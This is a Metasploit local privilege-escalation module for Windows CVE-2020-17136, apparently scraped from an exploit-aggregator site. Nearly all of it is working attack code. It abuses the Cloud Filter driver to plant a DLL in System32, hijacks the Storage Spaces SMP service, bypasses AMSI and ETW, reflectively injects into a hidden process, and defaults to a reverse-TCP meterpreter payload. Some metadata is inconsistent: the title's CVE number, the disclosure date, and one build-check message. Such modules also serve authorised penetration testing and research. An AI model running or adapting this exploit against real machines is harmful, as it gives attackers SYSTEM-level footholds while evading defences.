Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/WINDOWS/LOCAL/CVE_2020_17136/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Dotnet
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::FileSystem
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
        'Description' => %q{
          The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
          2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
          calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()
          function with attacker controlled input. This meant that files were created with
          KernelMode permissions, thereby bypassing any security checks that would otherwise
          prevent a normal user from being able to create files in directories
          they don't have permissions to create files in.

          This module abuses this vulnerability to perform a DLL hijacking attack against the
          Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
          NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
          of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
          new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
          to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'James Foreshaw', # Vulnerability discovery and PoC creator
          'Grant Willcox' # Metasploit module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Privileged' => true,
        'Arch' => [ARCH_X64],
        'Targets' =>
          [
            [ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-03-10',
        'References' => [
          ['CVE', '2020-17136'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
        ],
        'Notes' =>
          {
            'SideEffects' => [ ARTIFACTS_ON_DISK ],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_SAFE ]
          },
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process',
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
          }
      )
    )
    register_options(
      [
        OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),
        OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
        OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
      ]
    )
  end

  def check_requirements(clr_req, installed_dotnet_versions)
    installed_dotnet_versions.each do |fi|
      if clr_req == 'v4.0.30319'
        if fi[0] == '4'
          vprint_status('Requirements ok')
          return true
        end
      elsif fi[0] == '3'
        vprint_status('Requirements ok')
        return true
      end
    end
    print_error('Required dotnet version not present')
    false
  end

  def check
    sysinfo_value = sysinfo['OS']
    if sysinfo_value !~ /windows/i
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
    end

    build_num_raw = cmd_exec('cmd.exe /c ver')
    build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
    if build_num.nil?
      return CheckCode::Unknown("Couldn't retrieve the target's build number!")
    else
      build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
      vprint_status("Target's build number: #{build_num}")
    end

    build_num_gemversion = Rex::Version.new(build_num)
    # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
    if (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.685')) # Windows 10 20H2
      return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1
      return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1256')) # Windows 10 v1909
      return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.1256')) # Windows 10 v1903
      return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1637')) # Windows 10 v1809
      return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1902')) # Windows 10 v1803
      return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
    else
      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
    end
  end

  def exploit
    if sysinfo['Architecture'] != ARCH_X64
      fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')
    elsif session.arch != ARCH_X64
      fail_with(Failure::NoTarget, 'Sorry, WOW64 is not supported at this time!')
    end
    dir_junct_path = 'C:\\Windows\\Temp'
    intermediate_dir = rand_text_alpha(10).to_s
    junction_dir = rand_text_alpha(10).to_s
    path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"

    mkdir(path_to_intermediate_dir.to_s)
    if !directory?(path_to_intermediate_dir.to_s)
      fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
    end
    register_dir_for_cleanup(path_to_intermediate_dir.to_s)

    mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
    if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
      fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
    end

    mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
    if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
      fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
    end

    exe_path = ::File.expand_path(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-17136', 'cloudFilterEOP.exe'))
    unless File.file?(exe_path)
      fail_with(Failure::BadConfig, 'Assembly not found')
    end
    installed_dotnet_versions = get_dotnet_versions
    vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
    if installed_dotnet_versions == []
      fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
    end
    if check_requirements('v4.0.30319', installed_dotnet_versions) == false
      fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
    end
    payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"
    print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
    write_file(payload_path, generate_payload_dll)
    register_file_for_cleanup(payload_path)
    execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")
    service_start('smphost')
    register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
    sleep(3)
    delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
  end

  def pid_exists(pid)
    mypid = client.sys.process.getpid.to_i

    if pid == mypid
      print_bad('Cannot select the current process as the injection target')
      return false
    end

    host_processes = client.sys.process.get_processes
    if host_processes.empty?
      print_bad('No running processes found on the target host.')
      return false
    end

    theprocess = host_processes.find { |x| x['pid'] == pid }

    !theprocess.nil?
  end

  def launch_process
    process_name = 'notepad.exe'
    print_status("Launching #{process_name} to host CLR...")

    process = client.sys.process.execute(process_name, nil, {
      'Channelized' => true,
      'Hidden' => true,
      'UseThreadToken' => true,
      'ParentPid' => 0
    })
    hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
    print_good("Process #{hprocess.pid} launched.")
    [process, hprocess]
  end

  def inject_hostclr_dll(process)
    print_status("Reflectively injecting the Host DLL into #{process.pid}..")

    library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
    library_path = ::File.expand_path(library_path)

    print_status("Injecting Host into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    [exploit_mem, offset]
  end

  def execute_assembly(exe_path, exe_args)
    if sysinfo.nil?
      fail_with(Failure::BadConfig, 'Session invalid')
    else
      print_status("Running module against #{sysinfo['Computer']}")
    end
    if datastore['WAIT'].zero?
      print_warning('Output unavailable as wait time is 0')
    end

    process, hprocess = launch_process
    exploit_mem, offset = inject_hostclr_dll(hprocess)

    assembly_mem = copy_assembly(exe_path, hprocess, exe_args)

    print_status('Executing...')
    hprocess.thread.create(exploit_mem + offset, assembly_mem)

    if datastore['WAIT'].positive?
      sleep(datastore['WAIT'])
      read_output(process)
    end

    if datastore['KILL']
      print_good("Killing process #{hprocess.pid}")
      client.sys.process.kill(hprocess.pid)
    end

    print_good('Execution finished.')
  end

  def copy_assembly(exe_path, process, exe_args)
    print_status("Host injected. Copy assembly into #{process.pid}...")
    int_param_size = 8
    sign_flag_size = 1
    amsi_flag_size = 1
    etw_flag_size = 1
    assembly_size = File.size(exe_path)

    cln_params = ''
    cln_params << exe_args
    cln_params << "\x00"

    payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
    payload_size += assembly_size + cln_params.length
    assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
    params = [
      assembly_size,
      cln_params.length,
      datastore['AMSIBYPASS'] ? 1 : 0,
      datastore['ETWBYPASS'] ? 1 : 0,
      2
    ].pack('IICCC')
    params += cln_params

    process.memory.write(assembly_mem, params + File.read(exe_path))
    print_status('Assembly copied.')
    assembly_mem
  end

  def read_output(process)
    print_status('Start reading output')
    old_timeout = client.response_timeout
    client.response_timeout = 5

    begin
      loop do
        output = process.channel.read
        if !output.nil? && !output.empty?
          output.split("\n").each { |x| print_good(x) }
        end
        break if output.nil? || output.empty?
      end
    rescue Rex::TimeoutError
      vprint_warning('Time out exception: wait limit exceeded (5 sec)')
    rescue ::StandardError => e
      print_error("Exception: #{e.inspect}")
    end

    client.response_timeout = old_timeout
    print_status('End output.')
  end
end